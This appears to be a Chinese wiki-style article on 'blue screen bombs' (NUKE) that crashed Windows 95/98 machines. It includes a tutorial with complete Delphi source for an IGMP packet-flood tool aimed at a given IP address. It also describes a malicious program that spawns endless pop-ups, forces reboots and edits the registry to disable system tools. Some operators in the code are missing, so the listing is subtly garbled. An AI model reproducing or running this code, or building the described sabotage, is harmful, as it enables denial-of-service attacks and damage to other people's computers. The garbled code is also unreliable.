蓝屏炸弹是当初针对Win95的OOB漏洞而开发出来的一些小软件，多命名为NUKE等，以前是专门攻击139端口，被攻击的计算机多会出现著名的蓝屏错误，因而得名。现今的蓝屏炸弹主要攻击对象是使用Win98操作系统的用户。一旦该系统打上补丁，大多数蓝屏程序也就失效了。
中文名
蓝屏炸弹
外文名
NUKE类 型
软件
应 用
Win95的OOB漏洞
蓝屏炸弹原理
编辑
语音
蓝屏炸弹一般使用的是IGMP协议(Internet Group Management Protocol)由于IGMP是一种类似ICMP(PING报文)的一种无连接协议,所以在向服务器连接时不需要指定连接的端口,只需要指定IP地址即可我们常用的WIN98系统因为不能很好的处理过大的IGMP数据包,很容易出现系统崩溃的情况,这就是IGMP协议被滥用为制作蓝屏炸弹的原因.
蓝屏炸弹炸弹功能
编辑
语音
既然是炸弹，那当然要写的厉害些，首先就要像很久以前那个网页炸弹一样，弹出无数个窗口，这个功能是给别人打马虎眼的，让他一心想着去阻止炸弹继续的弹出窗口；第二个功能是专门针对windows XP而做的，当然也是在2004年第12期黑防杂志上看到的---自动重启计算机(如图1)，
图1
那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表，主要的功能还是要禁止中招的人打开任务管理器，禁止使用注册表，隐藏桌面所有图标，禁止使用开始菜单里面的运行，搜索，关机，屏蔽ctrl+alt+del里的内容，禁止使用IE浏览器里的所有属性，屏蔽C盘，D盘等盘，这样的结果看上去一定很可怕，如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行，那后果会是什么样的就可想而知了吧
蓝屏炸弹制作方法
编辑
语音
打开DELPHI，新建一个Console Application这是一个命令行的程序，在MS-DOS方式窗体中执行，例如我们的程序编译后文件名是NUKE.EXE，你就可以在MS-DOS方式窗体输入NUKE XXX.XXX.XXX.XXX 65536 50
其中XXX.XXX.XXX.XXX是目标的IP地址；65536是数据包大小这里是64K，50是发送次数，这里我们的程序就用到了3个参数的传递，在DELPHI中我们就可以使用ParamStr()来获得。
program IgmpNuke;
{$APPTYPE CONSOLE}
uses SysUtils, Windows, WinSock;//因为用到WINSOCK API请把Winsock unit加入Uses项中
var S: TSocket;
PSize: Integer;
Times: Integer;
Addr: TSockAddr;
wsaData:TWSAData;
Pack: Pchar;
begin
WSAStartup(Word(2),wsaData);//初始化WINSOCK，要求最低版本是2；
if ParamStr(1)'' then begin //获得第一个参数，如果为空的话，跳到最后输出使用格式。
S:=Socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);//为SOCKET指定协议为IGMP
if S = INVALID_SOCKET then begin
WriteLn('Create Socket Error:'+ IntToStr(GetLastError()));
exit;
end;
PSize:=StrToInt(ParamStr(2));//获得第二个参数，为数据包大小；
Times:=StrToInt(ParamStr(3));//获得第三个参数，为发送次数；
GetMem(Pack,PSize);//分配一段内存，大小为包的大小；
Addr.sin_family:=AF_INET;//指定使用的协议簇；
Addr.sin_addr.S_addr:=inet_addr(Pchar(ParamStr(1)));//指定目标的IP地址；当然要经过inet_addr函数转换；
if Connect(S,Addr,SizeOf(Addr))0 then begin
WriteLn('Connect Error (Code):'+IntToStr(GetLastError()));
Exit;
end;
//以下开始循环发送，使用Send api;
Repeat
Send(S,Pack^,PSize,0);
dec(Times); //每次发送后使发送次数减一；
Write('.');
until Times=0;
WriteLn('');
WriteLn('Nuke: '+ParamStr(1)); //显示一下信息；
WriteLn('Packet Size: '+ParamStr(2));
WriteLn('Times: '+ParamStr(3));
WriteLn('GwNuker1.0');
WriteLn('Welcome to ');//做一下广告，呵呵。
end else begin
WriteLn('Nuke xxx.xxx.xxx.xxx PackSize Times');
end;
FreeMem(Pack);//释放刚才分配的内存；
WSACleanup;//释放Winsock资源；
end.
好了一个命令行版本的“蓝屏炸弹”就这样写好了，编译成EXE文件，看看只有40K左右，还可以用ASPack压缩的哦！！广外女生有这样小的体积，不是单纯依靠压缩软件的哦，只要在编程的时候减少使用窗体或可视化控件，就可以大大减少自己程序的大小，这是女生和冰河等国产木马不同的地方。 [1]
词条图册
更多图册
参考资料
1.
163日志
[引用日期2010-09-21]
